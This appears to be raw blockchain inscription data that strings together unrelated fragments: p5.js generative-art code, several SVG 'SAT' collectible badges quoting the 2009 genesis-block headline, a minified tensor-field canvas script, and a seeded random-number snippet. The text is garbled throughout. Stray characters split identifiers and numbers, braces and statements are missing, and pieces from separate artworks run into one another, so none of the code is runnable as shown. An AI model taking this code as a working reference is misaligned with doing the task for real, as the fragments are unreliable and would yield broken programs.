startingPoints = font.textToPoints(string, x - textWidth(string) / 2, y, fontSize, { sampleFactor: fontSampleFactor, simplifyThreshold: simplifyFactor for (let p = 0; p < startingPoints.length; p++) { points[p] = startingPoints[p]; pointsM [p].zOffset = random(); if (showText) { stroke(strokeColor, strokeAlpha); fill(255, 255); text(myString, x, y); for (let i = 0; i <= maxFrame; i++) { for (let pt = 0; pt < points.length; pt++) { let p = points[pt]; let noiseX = p.x * noiseZoom; let noiseY = p.y * noiseZoom; let noiseZ = frameCount * zOffsetM Change + p.zOffset * individualZOffset; lineSpeed = map(pt, 0, startingPoints.length, -speedFactor, speedFactor) let newPX = p.x + map(noise(noiseX, noiseY, noiseZ), 0, 1, -lineSpeed, lineSpeed); let newPY = p.y + map(noise(noiseX, noiseY, noiseZ + 23), 0, 1, -lineSpeed, lineSpeed); if (i < maxFrame) { rect(p.x, p.y, globalSize / 125) } else { } p.x = newPX; p.y = newPY; function grainy(force) { _seed = floor(mathRand() * 999999) randomSeed(_seed) noiseSeed(_seed) loadPixels(); let d = pixelDensity(); let halfImage = 4 * (width * d) * (height * d); for (let i = 0; i < halfImage; i += 4) { grainAmount = random(-force, force); pixels[i] = M pixels[i] + grainAmount; pixels[i + 1] = pixels[i + 1] + grainAmount; pixels[i + 2] = pixels[i + 2] + grainAmount; pixels[i + 3] = pixels[i + 3] + grainAmount updatePixels(); function keyTyped() { if (keyCode === 83) { // if "s" is pressed save(myTitle + '.png'); function mathRandBetween(a, b) { if (!b) { return mathRandL return mathRand() * (b - a) + a <div id="fullScreen"> </div> <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077132</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077132 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503076932</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503076932 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077032</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077032 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! text/html;charset=utf-8 <meta charset="UTF-8"> <title>Ordinal Stream</title> <script type="text/javascript"> (()=>{var $t=Object.create;var Gt=Object.defineProperty;var Ht=Object.getOwnPropertyDescriptor;var Jt=Object.getOwnPropertyNames;var Kt=Object.getPrototypeOf,Lt=Object.prototype.hasOwnProperty;var Ut=(o,n)=>()=>(n||o((n={exports:{}}).exports,n),n.exports);var Zt=(o,n,e,t)=>{if(n&&typeof n=="object"||typeof n=="function")for(let i of Jt(n))!Lt.call(o,i)&&i!==e&&Gt(o,i,{M get:()=>n[i],enumerable:!(t=Ht(n,i))||t.enumerable});return o};var Ot=(o,n,e)=>(e=o!=null?$t(Kt(o)):{},Zt(n||!o||!o.__esModule?Gt(e,"default",{value:o,enumerable:!0}):e,o));var Tt=Ut((Ft,_t)=>{(function(o,n){typeof Ft=="object"?_t.exports=n():typeof define=="function"&&define.amd?define(n):o.Alea=n()})(Ft,function(){"use strict";return o.importState=function(e){var t=new o;return t.importState(e),t},o;function o(){return function(e){var t=0,i=0,r=0,l=1;e.length==0&&(e=[+new Date]);var s=n();t=s(" "),i=s(" "),r=s(" M ");for(var f=0;f<e.length;f++)t-=s(e[f]),t<0&&(t+=1),i-=s(e[f]),i<0&&(i+=1),r-=s(e[f]),r<0&&(r+=1);s=null;var c=function(){var h=2091639*t+l*23283064365386963e-26;return t=i,i=r,r=h-(l=h|0)};return c.next=c,c.uint32=function(){return c()*4294967296},c.fract53=function(){return c()+(c()*2097152|0)*11102230246251565e-32},c.version="Alea 0.9",c.args=e,c.exportState=function(){return[t,i,r,l]},c.importState=function(h){t=+h[0]||0,i=+h[1]||0,r=+h[2]||0,l=+h[3]||0},c}(Array.prototype.slice.call(arguments))}function n(){vM ar e=4022871197,t=function(i){i=i.toString();for(var r=0;r<i.length;r++){e+=i.charCodeAt(r);var l=.02519603282416938*e;e=l>>>0,l-=e,l*=e,e=l>>>0,l-=e,e+=l*4294967296}return(e>>>0)*23283064365386963e-26};return t.version="Mash 0.9",t}})});var le=.5*(Math.sqrt(3)-1),re=(3-Math.sqrt(3))/6,Qt=1/3,Y=1/6,ae=(Math.sqrt(5)-1)/4,ce=(5-Math.sqrt(5))/20,bt=o=>Math.floor(o)|0;var At=new Float64Array([1,1,0,-1,1,0,1,-1,0,-1,-1,0,1,0,1,-1,0,1,1,0,-1,-1,0,-1,0,1,1,0,-1,1,0,1,-1,0,-1,-1]);function Dt(o=Math.random){let n=Vt(o),e=nM ew Float64Array(n).map(r=>At[r%12*3]),t=new Float64Array(n).map(r=>At[r%12*3+1]),i=new Float64Array(n).map(r=>At[r%12*3+2]);return function(l,s,f){let c,h,a,j,d=(l+s+f)*Qt,y=bt(l+d),v=bt(s+d),u=bt(f+d),x=(y+v+u)*Y,C=y-x,I=v-x,b=u-x,k=l-C,G=s-I,R=f-b,S,B,N,A,D,_;k>=G?G>=R?(S=1,B=0,N=0,A=1,D=1,_=0):k>=R?(S=1,B=0,N=0,A=1,D=0,_=1):(S=0,B=0,N=1,A=1,D=0,_=1):G<R?(S=0,B=0,N=1,A=0,D=1,_=1):k<R?(S=0,B=1,N=0,A=0,D=1,_=1):(S=0,B=1,N=0,A=1,D=1,_=0);let V=k-S+Y,tt=G-B+Y,et=R-N+Y,nt=k-A+2*Y,ot=G-D+2*Y,Mt=R-_+2*Y,kt=k-1+3*Y,jt=G-M 1+3*Y,xt=R-1+3*Y,pt=y&255,mt=v&255,dt=u&255,at=.6-k*k-G*G-R*R;if(at<0)c=0;else{let z=pt+n[mt+n[dt]];at*=at,c=at*at*(e[z]*k+t[z]*G+i[z]*R)}let ct=.6-V*V-tt*tt-et*et;if(ct<0)h=0;else{let z=pt+S+n[mt+B+n[dt+N]];ct*=ct,h=ct*ct*(e[z]*V+t[z]*tt+i[z]*et)}let ht=.6-nt*nt-ot*ot-Mt*Mt;if(ht<0)a=0;else{let z=pt+A+n[mt+D+n[dt+_]];ht*=ht,a=ht*ht*(e[z]*nt+t[z]*ot+i[z]*Mt)}let ft=.6-kt*kt-jt*jt-xt*xt;if(ft<0)j=0;else{let z=pt+1+n[mt+1+n[dt+1]];ft*=ft,j=ft*ft*(e[z]*kt+t[z]*jt+i[z]*xt)}return 32*(c+h+a+j)}}function Vt(o){let e=new M Uint8Array(512);for(let t=0;t<512/2;t++)e[t]=t;for(let t=0;t<512/2-1;t++){let i=t+~~(o()*(256-t)),r=e[t];e[t]=e[i],e[i]=r}for(let t=256;t<512;t++)e[t]=e[t-256];return e}var Xt=Ot(Tt(),1),$,p,M=[],qt,Rt,St,q,Z,X=10,wt=0,Q,vt=.06,it=0,w,P,st,lt,K,m=[],W=3,g,F,It=0,Et=0,te=.2,T,Bt;function ee(){var o=document.querySelector("body");$=document.createElement("canvas"),o.appendChild($),p=$.getContext("2d"),window.innerWidth<window.innerHeight?K=window.innerWidth:K=window.innerHeight;let n=J(mathRand(),0,1,0,3)|0,e;n===0?(M st=K,lt=st*.7,e="7:5"):n===1?(lt=K,st=lt*.7,e="5:7"):n===2&&(st=K,lt=K,e="1:1");let t=window.devicePixelRatio;$.width=st*t|0,$.height=lt*t|0,$.style.width=`${st}px`,$.style.height=`${lt}px`,w=$.width/t,P=$.height/t,p.scale(t,t),Bt=Math.round(Math.min(Math.max(K/700,.5),1)*10)/10,p.imageSmoothingEnabled=!0,p.lineWidth=Bt,p.lineCap="round",p.lineJoin="round";let i=Math.floor(mathRand()*19021990);Q=Dt((0,Xt.default)(i)),X=K/175|0,q=w/X+1|0,Z=P/X+1|0,g=w/W|0,F=P/W|0,qt=new Array(q*Z),St=new Array(q*Z),Rt=new Array(q*Z)M ,vt=ut(.008,.018),T=ne(0,10,te);for(var r=0;r<1;r++){let R=ut(-w/2,w/2)|0,S=ut(-P/2,P/2)|0,B=ut(-w/2,w/2)|0,N=ut(-P/2,P/2)|0;M[r]=new gt(R,S,"major"),M[r+1]=new gt(B,N,"minor")}for(var l=0,s=0;s<Z;s++){for(var f=0,c=0;c<q;c++){var h=c+s*q,a=(Q(f,l,it)*.5+.5)*Math.PI*2,j,d,y,v;j=(Q(f/3+140,l/3+140,it/3)*.5+.5)*325|0,d=(Q(f/3+40,l/3+40,it/3)*.5+.5)*275|0,y=(Q(f/3+190,l/3+190,it/3)*.5+.5)*325|0,v=J(Q(f/2+250,l/2+250,it/2)*.5+.5,0,1,0,100)|0;var u=J(c,0,q,-w/2,w/2),x=J(s,0,Z,-P/2,P/2),C=[u,x];let R=Math.sqrt(Math.pow(CM [0],2)+Math.pow(C[1],2));C[0]/=R,C[1]/=R;var I;let S=Math.cos(Math.PI/4),B=Math.sin(Math.PI/4);I=[S,B];let N=Math.sqrt(Math.pow(I[0],2)+Math.pow(I[1],2)),A=Math.atan(I[1]/I[0]),D=[[Math.cos(2*A),Math.sin(2*A)],[Math.sin(2*A),-Math.cos(2*A)]];var b=Ct(D)[0],k=Ct(D)[1];H(b,Nt(D)[0]),H(k,Nt(D)[1]);let _=Math.cos(2*A)*Math.cos(2*A)-Math.sin(2*A)*Math.sin(2*A),V=[[Math.cos(a),-Math.sin(a)],[Math.sin(a),Math.cos(a)]],tt=Math.sqrt(Math.pow(b[0],2)+Math.pow(b[1],2)),et=Math.sqrt(Math.pow(k[0],2)+Math.pow(k[1],2));b[0]=b[0]M *_/tt,b[1]=b[1]*_/tt,k[0]=k[0]*_/et,k[1]=k[1]*_/et;let nt=Wt(V,b),ot=Wt(V,k);qt[h]=[nt[0],nt[1]],Rt[h]=[ot[0],ot[1]],St[h]=[j,d,y,v],f+=vt}l+=vt,it+=3e-4}for(var s=0;s<F;s+=1)for(var c=0;c<g;c+=1){var h=c+s*g;m[h]=new zt(c,s)}for(var r=0;r<30;r++){let S=U("major");S!==null&&M.push(S);let B=U("minor");B!==null&&M.push(B)}let G=q*Z;window.$generativeTraits={Type:"Tensor Field",Integrator:"RK4",Vectors:G,Format:e},window.requestAnimationFrame(Yt)}function Yt(){window.requestAnimationFrame(Yt),p.clearRect(0,0,w,P),p.fiM llStyle="#000000",p.fillRect(0,0,w,P),p.save(),p.translate(w/2,P/2);for(var o=0;o<M.length;o++)M[o].follow(qt,Rt),M[o].edges(),M[o].changeCol(St),M[o].display();if(wt=m.filter(n=>n.spot===!0||n.spot2===!0).length,wt<m.length*.9){let n=U("major",0);n!==null&&M.push(n);let e=U("major",1);e!==null&&M.push(e);let t=U("minor",0);t!==null&&M.push(t);let i=U("minor",1);i!==null&&M.push(i);let r=U("major");r!==null&&M.push(r);let l=U("minor");l!==null&&M.push(l)}else if(wt>=m.length*.9&&wt<m.length-m.length/180){let n=0,e=M Q(n/3+50,It/3+50,Et/3)*.5+.5;if(e<.5){let t=L("major",0,0,g/2|0,F/2|0);t!==null&&M.push(t)}else{let t=L("minor",0,0,g/2|0,F/2|0);t!==null&&M.push(t)}if(e<.5){let t=L("major",0,F-1|0,g/2|0,F/2|0);t!==null&&M.push(t)}else{let t=L("minor",0,F-1|0,g/2|0,F/2|0);t!==null&&M.push(t)}if(e<.5){let t=L("major",g-1|0,F-1|0,g/2|0,F/2|0);t!==null&&M.push(t)}else{let t=L("minor",g-1|0,F-1|0,g/2|0,F/2|0);t!==null&&M.push(t)}if(e<.5){let t=L("major",g-1|0,0,g/2|0,F/2|0);t!==null&&M.push(t)}else{let t=L("minor",g-1|0,0,g/2|0,F/2|0)M ;t!==null&&M.push(t)}n+=.01,It+=vt,Et+=3e-4}p.strokeStyle="#000",p.lineWidth=10,p.strokeRect(-w/2,-P/2,w,P),p.restore()}var zt=class{constructor(n,e){this.i=n,this.j=e,this.spot=null,this.spot2=null,this.index,this.pos=[]}};function gt(o,n,e){this.iniPos=[o,n],this.iniPos2=this.iniPos,this.iniPos3=this.iniPos,this.iniPos4=this.iniPos2,this.fBool=!0,this.fBool2=!0,this.fBool3=!0,this.fBool4=!0,this.obj=e,this.maj1=[],this.min=[],this.maj2=[],this.min2=[],this.col=mathRand()*4|0,this.changeCol=function(t){if(this.colM ===0){var i=this.iniPos[0],r=this.iniPos[1],l=E(i,r,X,q),s=t[l];s&&(p.strokeStyle="rgba("+s[0]+","+s[1]+","+s[2]+","+s[3]+")")}else if(this.col===1){var i=this.iniPos2[0],r=this.iniPos2[1],l=E(i,r,X,q),s=t[l];s&&(p.strokeStyle="rgba("+s[0]+","+s[1]+","+s[2]+","+s[3]+")")}else if(this.col===2){var i=this.iniPos3[0],r=this.iniPos3[1],l=E(i,r,X,q),s=t[l];s&&(p.strokeStyle="rgba("+s[0]+","+s[1]+","+s[2]+","+s[3]+")")}else if(this.col===3){var i=this.iniPos4[0],r=this.iniPos4[1],l=E(i,r,X,q),s=t[l];s&&(p.strokeStyle="rgM ba("+s[0]+","+s[1]+","+s[2]+","+s[3]+")")}},this.follow=function(t,i){if(this.obj==="major"){if(this.fBool)for(let h=1;h<T.length;h++){var r=E(this.iniPos[0],this.iniPos[1],X,q);if(t[r]){let a=Pt(yt,[this.iniPos[0],this.iniPos[1],t[r][0],t[r][1]],T[h]-T[h-1]);this.maj1.push([a[0],a[1]]),this.iniPos=[a[0],a[1]];var l=E(a[0],a[1],W,g);if(m[l]&&(m[l].pos.push([a[0],a[1]]),m[l].spot=!0,m[l].spot2)){this.fBool=m[l].pos.every(d=>rt([d[0],d[1]],[a[0],a[1]])>0);break}}}if(this.fBool3)for(let h=1;h<T.length;h++){var s=E(thiM s.iniPos3[0],this.iniPos3[1],X,q);if(t[s]){let a=Pt(yt,[this.iniPos3[0],this.iniPos3[1],t[s][0]*-1,t[s][1]*-1],T[h]-T[h-1]);this.maj2.push([a[0],a[1]]),this.iniPos3=[a[0],a[1]];var l=E(a[0],a[1],W,g);if(m[l]&&(m[l].pos.push([a[0],a[1]]),m[l].spot=!0,m[l].spot2)){this.fBool3=m[l].pos.every(y=>rt([y[0],y[1]],[a[0],a[1]])>0);break}}}}if(this.obj==="minor"){if(this.fBool2)for(let h=1;h<T.length;h++){var f=E(this.iniPos2[0],this.iniPos2[1],X,q);if(i[f]){let a=Pt(yt,[this.iniPos2[0],this.iniPos2[1],i[f][0],i[f][1]],T[h]-M T[h-1]);this.min.push([a[0],a[1]]),this.iniPos2=[a[0],a[1]];var l=E(a[0],a[1],W,g);if(m[l]&&(m[l].pos.push([a[0],a[1]]),m[l].spot2=!0,m[l].spot)){this.fBool2=m[l].pos.every(y=>rt([y[0],y[1]],[a[0],a[1]])>0);break}}}if(this.fBool4)for(let h=1;h<T.length;h++){var c=E(this.iniPos4[0],this.iniPos4[1],X,q);if(i[c]){let a=Pt(yt,[this.iniPos4[0],this.iniPos4[1],i[c][0]*-1,i[c][1]*-1],T[h]-T[h-1]);this.min2.push([a[0],a[1]]),this.iniPos4=[a[0],a[1]];var l=E(a[0],a[1],W,g);if(m[l]&&(m[l].pos.push([a[0],a[1]]),m[l].spot2=!0,M m[l].spot)){this.fBool4=m[l].pos.every(y=>rt([y[0],y[1]],[a[0],a[1]])>0);break}}}}},this.display=function(){p.lineWidth=Bt,p.beginPath();let t=this.maj1;for(let s=0;s<t.length;s++)p.lineTo(t[s][0],t[s][1]);p.stroke(),p.closePath(),p.beginPath();let i=this.min;for(let s=0;s<i.length;s++)p.lineTo(i[s][0],i[s][1]);p.stroke(),p.closePath(),p.beginPath();let r=this.maj2;for(let s=0;s<r.length;s++)p.lineTo(r[s][0],r[s][1]);p.stroke(),p.closePath(),p.beginPath();let l=this.min2;for(let s=0;s<l.length;s++)p.lineTo(l[s][0],M l[s][1]);p.stroke(),p.closePath()},this.edges=function(){(this.iniPos[0]>w/2||this.iniPos[0]<-w/2||this.iniPos[1]>P/2||this.iniPos[1]<-P/2)&&(this.fBool=!1),(this.iniPos2[0]>w/2||this.iniPos2[0]<-w/2||this.iniPos2[1]>P/2||this.iniPos2[1]<-P/2)&&(this.fBool2=!1),(this.iniPos3[0]>w/2||this.iniPos3[0]<-w/2||this.iniPos3[1]>P/2||this.iniPos3[1]<-P/2)&&(this.fBool3=!1),(this.iniPos4[0]>w/2||this.iniPos4[0]<-w/2||this.iniPos4[1]>P/2||this.iniPos4[1]<-P/2)&&(this.fBool4=!1)}}function L(o,n,e,t,i){let r=!1,l=0,s=0,f,c,h=n=M ==0?1:-1,a=e===0?1:-1;var j={"<":function(v,u){return v<u},">":function(v,u){return v>u}};let d,y;n===0?d="<":d=">",e===0?y="<":y=">";t:for(let v=n;j[d](v,t);v+=h)for(let u=e;j[y](u,i);u+=a){let x=v+u*g;if(m[x]&&(!m[x].spot||!m[x].spot2)){if(f=J(v,0,g,-w/2,w/2)|0,c=J(u,0,F,-P/2,P/2)|0,v>0&&u>0&&v<g-1&&u<F-1){let C=[[v,u],[v-1,u-1],[v,u-1],[v+1,u-1],[v-1,u],[v+1,u],[v-1,u+1],[v,u+1],[v+1,u+1]],I=[];for(let b of C){let k=b[0]+b[1]*g;I.push(...m[k].pos)}r=I.every(function(b){return rt([b[0],b[1]],[f,c])>W-1})}if(r)breM ak t}}return r?new gt(f,c,o):null}function U(o,n){let e=!1,t,i,r,l,s=[];for(;!e;){if(n!==void 0){let a=[];for(let u of M){let x;o==="major"&&n===0?x=u.maj1:o==="major"&&n===1?x=u.maj2:o==="minor"&&n===0?x=u.min:o==="minor"&&n===1&&(x=u.min2),a.push(...x)}let j=mathRand()*(a.length-1)|0,d=a[j],y=a[j+1];if(!s.every(function(u){return u[0][0]!==d[0]&&u[0][1]!==d[1]&&u[1][0]!==y[0]&&u[1][1]!==y[1]}))continue;if(s.push([d,y]),y){let u=y[0]-d[0],x=y[1]-d[1],C=Math.sqrt(u*u+x*x),I=u/C,k=-(x/C),G=I;r=d[0]+k*W|0,l=d[1]+G*W|M 0}else continue}else r=mathRand()*w-w/2|0,l=mathRand()*P-P/2|0;let f=J(r,-w/2,w/2,0,w)/W|0,c=J(l,-P/2,P/2,0,P)/W|0,h=f+c*g;if(!(m[h]&&(m[h].spot||m[h].spot2))&&f>0&&c>0&&f<g-1&&c<F-1){let a=[[f,c],[f-1,c-1],[f,c-1],[f+1,c-1],[f-1,c],[f+1,c],[f-1,c+1],[f,c+1],[f+1,c+1]],j=[];for(let d of a){let y=d[0]+d[1]*g;j.push(...m[y].pos)}e=j.every(function(d){return rt([d[0],d[1]],[r,l])>W-1})}}return new gt(r,l,o)}function Pt(o,n,e){let t=H(o(n),e),i=H(o(O(n,H(t,.5))),e),r=H(o(O(n,H(i,.5))),e),l=H(o(O(n,r)),e);return O(n,ie(M O(O(O(t,H(i,2)),H(r,2)),l),6))}var yt=function(o){let n=o[0],e=o[1],t=o[2],i=o[3];return[t,i,-i,t]};function E(o,n,e,t){let i=J(o,-w/2,w/2,0,w)/e|0,r=J(n,-P/2,P/2,0,P)/e|0;var l=i+r*t;return l}function rt([o,n],[e,t]){return Math.sqrt(Math.pow(e-o,2)+Math.pow(t-n,2))}var ne=(o,n,e)=>Array.from({length:(n-o)/e+1},(t,i)=>o+i*e);window.onload=function(){ee()};window.addEventListener("keypress",oe,!1);function oe(o){if(o.key==="s"){var n=document.createElement("a");n.download="ordinalstream.png",n.href=$.toDataURL("imaM ge/png"),n.click()}}function J(o,n,e,t,i){return t+(i-t)*((o-n)/(e-n))}function ut(o,n){let e=mathRand()*(n-o)+o;return parseFloat(e)}function H(o,n){let e=[];for(let t=0;t<o.length;t++)e.push(o[t]*n);return e}function O(o,n){let e=[];for(let t=0;t<o.length;t++)e.push(o[t]+n[t]);return e}function ie(o,n){let e=[];for(let t=0;t<o.length;t++)e.push(o[t]/n);return e}function Wt(o,n){let e=[];for(let t=0;t<o.length;t++){e.push(0);for(let i=0;i<o[t].length;i++)e[t]+=o[t][i]*n[i]}return e}function Ct(o){let n=o[0][0],e=oM [0][1],t=o[1][0],i=o[1][1],r=(-e+Math.sqrt(e*e-4*n*i))/(2*n),l=(-e-Math.sqrt(e*e-4*n*i))/(2*n),s=1,f=(r-n)/e,c=1,h=(l-n)/e,a=Math.sqrt(s*s+f*f),j=Math.sqrt(c*c+h*h),d=s/a,y=f/a,v=c/j,u=h/j;return[[d,y],[v,u]]}function Nt(o){let n=o[0][0],e=o[0][1],t=o[1][0],i=o[1][1],r=(-e+Math.sqrt(e*e-4*n*i))/(2*n),l=(-e-Math.sqrt(e*e-4*n*i))/(2*n);return[r,l]}})(); <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/')M .find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = sM eed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22M , 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); background-color: #FFFFFF; padding: 0; margin: 0; width: 100%; height: 100%; overflow: hidden; position: absolute; /*Can also be `fixed`*/ left: 0; right: 0; bottom: 0; margin: auto; box-shadow: -3px -2px rgba(0, 0, 0, 0.1), 5px 3px 3LOpx rgba(0, 0, 0, 0.2); text/html;charset=utf-8 <meta charset="UTF-8"> <title>Bitcoin in Motion by SMLDMS</title> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <script id="snippet-random-code" type="text/javascript"> NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { 